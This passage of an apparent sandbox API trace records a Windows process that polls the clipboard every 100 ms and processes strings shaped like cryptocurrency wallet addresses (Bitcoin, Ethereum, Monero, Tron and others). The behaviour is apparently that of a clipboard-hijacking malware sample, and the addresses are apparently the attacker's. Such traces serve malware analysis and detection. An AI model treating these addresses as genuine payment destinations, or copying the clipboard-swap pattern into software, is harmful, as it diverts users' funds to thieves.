lpWideCharStr="i\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.484] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="X\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.485] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="W\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.485] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="A\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.485] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="M\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.485] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="f\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.485] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="q\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.485] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="l\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.485] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="N\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.485] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="p\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.485] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="k\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.486] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="c\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.486] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1db8e68, cbMultiByte=34, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="1Htm9mQkBRRH6yD6oRL4QoSqoj5SphShohx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 34 [0054.486] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1da3438, cbMultiByte=42, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="qz4c9989lurmv3uuhyux34jxy77uttah8yunhl65lpMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 42 [0054.486] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1da3470, cbMultiByte=42, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="0xcDfF92e9c364E2707e5C71494ee95f16F44A5dd7MXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 42 [0054.486] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1db8e98, cbMultiByte=34, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="XeHqXvMCCbSJsNK5RsoSrRuWoDU94iTUnjF44A5dd7MXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 34 [0054.486] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1d8dab8, cbMultiByte=106, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 106 [0054.486] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1db8ec8, cbMultiByte=35, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="t1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 35 [0054.486] Sleep (dwMilliseconds=0x64) [0054.587] GetOpenClipboardWindow () returned 0x0 [0054.587] OpenClipboard (hWndNewOwner=0x0) returned 1 [0054.587] GetClipboardData (uFormat=0xd) returned 0x6069b8 [0054.587] GlobalLock (hMem=0x6069b8) returned 0x6069b8 [0054.587] GlobalSize (hMem=0x6069b8) returned 0x42 [0054.587] SysReAllocStringLen (in: pbstr=0x18ff50*=0x0, psz="vBrXECGFCBrWhovEKQCyiXWAMfqlNpkc", len=0x21 | out: pbstr=0x18ff50*="vBrXECGFCBrWhovEKQCyiXWAMfqlNpkc") returned 1 [0054.587] GlobalUnlock (hMem=0x6069b8) returned 1 [0054.587] CloseClipboard () returned 1 [0054.587] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="v\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.587] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="B\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.587] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="r\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.588] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="X\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.588] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="E\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.588] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="C\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.588] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="G\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.588] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="F\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.588] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="C\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.588] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="B\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.588] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="r\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.588] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="W\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.589] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="h\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.589] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="o\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.589] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="v\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.589] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="E\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.589] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="K\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.589] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="Q\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.589] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="C\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.589] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="y\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.589] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="i\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.590] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="X\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.590] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="W\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.590] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="A\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.590] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="M\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.590] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="f\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.590] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="q\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.590] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="l\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.590] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="N\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.590] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="p\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.591] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="k\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.591] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="c\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.591] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1db8e68, cbMultiByte=34, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="1Htm9mQkBRRH6yD6oRL4QoSqoj5SphShohx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 34 [0054.591] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1da3438, cbMultiByte=42, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="qz4c9989lurmv3uuhyux34jxy77uttah8yunhl65lpMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 42 [0054.591] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1da3470, cbMultiByte=42, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="0xcDfF92e9c364E2707e5C71494ee95f16F44A5dd7MXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 42 [0054.591] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1db8e98, cbMultiByte=34, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="XeHqXvMCCbSJsNK5RsoSrRuWoDU94iTUnjF44A5dd7MXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 34 [0054.591] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1d8dab8, cbMultiByte=106, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 106 [0054.591] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1db8ec8, cbMultiByte=35, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="t1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 35 [0054.591] Sleep (dwMilliseconds=0x64) [0054.696] GetOpenClipboardWindow () returned 0x0 [0054.696] OpenClipboard (hWndNewOwner=0x0) returned 1 [0054.696] GetClipboardData (uFormat=0xd) returned 0x6069b8 [0054.696] GlobalLock (hMem=0x6069b8) returned 0x6069b8 [0054.696] GlobalSize (hMem=0x6069b8) returned 0x42 [0054.696] SysReAllocStringLen (in: pbstr=0x18ff50*=0x0, psz="vBrXECGFCBrWhovEKQCyiXWAMfqlNpkc", len=0x21 | out: pbstr=0x18ff50*="vBrXECGFCBrWhovEKQCyiXWAMfqlNpkc") returned 1 [0054.696] GlobalUnlock (hMem=0x6069b8) returned 1 [0054.696] CloseClipboard () returned 1 [0054.696] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="v\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.696] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="B\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.696] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="r\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.697] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="X\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.697] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="E\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.697] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="C\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.697] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="G\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.697] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: 